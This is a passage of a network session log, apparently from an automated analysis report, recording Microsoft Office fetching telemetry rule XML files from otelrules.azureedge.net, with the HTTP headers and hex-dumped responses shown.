2024-12-09 05:50:07 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.11	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:07 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:07 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:07 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a681d1f9-301e-0020-1b07-486299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055007Z-r1cf579d778lntp7hC1EWR9gg40000000720000000000a21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:07 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.11	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:08 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:08 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: af038a62-701e-005c-6f03-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055008Z-r1cf579d7788pwqzhC1EWRrpd800000007r000000000541g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:08 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.11	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:08 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:08 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: d99c5475-901e-00ac-51cd-49b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055008Z-r1cf579d778qlpkrhC1EWRpfc800000008a000000000004x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:08 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.11	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:08 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:09 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:08 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1c872757-c01e-0034-1307-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055008Z-r1cf579d778bb9vvhC1EWRs9540000000730000000003ge0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:09 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.11	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:08 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:09 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:09 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: b12b1fea-201e-0096-1cbc-49ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055009Z-r1cf579d778j4j5fhC1EWR3ge800000000xg000000007fv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:50:09 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.11	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:09 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:09 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 562ac663-901e-0029-652e-49274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055009Z-r1cf579d778pftsbhC1EWRa0gn00000001zg000000005ebq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:10 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.11	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:10 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:10 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4471680c-501e-0047-7105-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055010Z-r1cf579d778w59f9hC1EWRze6w00000007u0000000002e2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:10 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.11	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:10 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:10 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 13315da1-a01e-006f-587e-4913cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055010Z-r1cf579d778pftsbhC1EWRa0gn00000001yg0000000066t8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:10 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.11	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:10 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:11 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: af039603-701e-005c-3603-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055011Z-r1cf579d7788pwqzhC1EWRrpd800000007ug0000000021d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:11 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.11	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:11 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:11 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: be723ded-701e-0021-0f06-483d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055011Z-r1cf579d7786c2tshC1EWRr1gc0000000770000000001fpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:11 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.11	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:11 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:12 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 1e99177e-901e-0029-5406-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055012Z-r1cf579d7788pwqzhC1EWRrpd800000007u0000000002bmb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:12 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.11	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:12 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
